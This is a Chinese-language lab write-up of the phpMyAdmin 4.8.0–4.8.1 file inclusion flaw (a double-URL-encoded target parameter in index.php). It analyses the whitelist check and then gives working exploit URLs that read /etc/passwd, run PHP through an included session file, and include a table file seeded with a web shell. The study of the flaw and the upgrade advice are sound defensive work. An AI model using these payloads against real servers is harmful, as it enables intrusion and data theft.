影响范围

phpmyadmin 4.8.0-4.8.1

复现环境

漏洞环境为ubuntu 18.04 + phpmyadmin 4.8.1

攻击机为win10

漏洞成因

首先我们查看index.php的源码

# index.php
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

我们看到此处有一个include,因此可能会存在文件包含漏洞,再看一下if语句的条件:

  1. 首先要传入一个target参数
  2. target参数的值必须是字符串
  3. target参数不能以’index’开头
  4. target参数的值不能在黑名单中
  5. Core类中的checkPageValidity($_REQUEST[‘target’])要返回true

我们先看一下黑名单

$target_blacklist = array (
    'import.php', 'export.php'
);

看来满足条件4很简单,只要target的值不为import.php和export.php即可

我们再来看一下checkPageValidity()

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }
    if (in_array($page, $whitelist)) {
        return true;
    }
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    $_page = urldecode($page);
    
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    return false;
}

# whitelist
public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
		'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

我们主要关注那几个可以返回true的条件:

  1. 首先要求target的值在$whitelist中,此处无法利用
  2. mb_substr()与substr()的功能相似,mb_strpos()和strpos()也相似,因此我们可以看出它在target值的最后拼接一个?并截取?前的部分赋值给变量_page,此时的变量_page的值也在$whitelist中才返回true,这里即使构造?,其后面的内容也会被解析为包含的php文件的参数
  3. 后面将变量page进行url编码后赋值给$_page,此时再做一遍上面2中的检查

综合上面几点的我们可以传入:

index.php?target=db_datadict.php%25%33%46../../../../../../../../file

其中%25%33%46为?的url二次编码,后面的file是我们要包含的文件

这样传入后,target的值在第二个判断条件中首先被浏览器第一次url解码为db_datadict.php%3f../../../../../../../../file,此时传给php参数值是不包含?的,因此整体都会被截取下来赋值给$_page。因此第二个判断这里也是不能利用的。

后来第三次判断中经url解码为db_datadict.php?../../../../../../../../file,此时再截取?前的部分,就肯定存在于whitelist中,因此返回true,此时index.php中的include函数就会被执行,file会被包含

漏洞利用

先尝试读取一下password

index.php?target=db_datadict.php%25%33%46../../../../../../../../etc/passwd

成功 Alt text

1. Session执行shell

然后我们可以通过session来向服务器的session文件中写入php代码

首先使用phpmyadmin的sql查询功能 Alt text

然后查看自己的session(cookie),服务器的session在/tmp中,文件名是sess_session,其中session就是自己的session值 Alt text

因此构造参数a来读取phpinfo,payload如下:

?a=phpinfo();&target=db_datadict.php%25%33%46../../../../../../tmp/sess_83bfed1c149fd6faed8b1a609656ed2b

成功读取phpinfo Alt text

2. 创建数据库插入并执行shell

这种方法是参考了大佬的文章。首先创建一个新的表名为shell,将一句话插入表中:

然后在sql查询处查询生成文件的绝对路径:

show variables like ‘%datadir%’;

此时你的表文件就在此目录下的shell.frm中,一句话被插入到里面

接下来再包含该文件即可执行命令

解决方案

升级为更高版本的phpmyadmin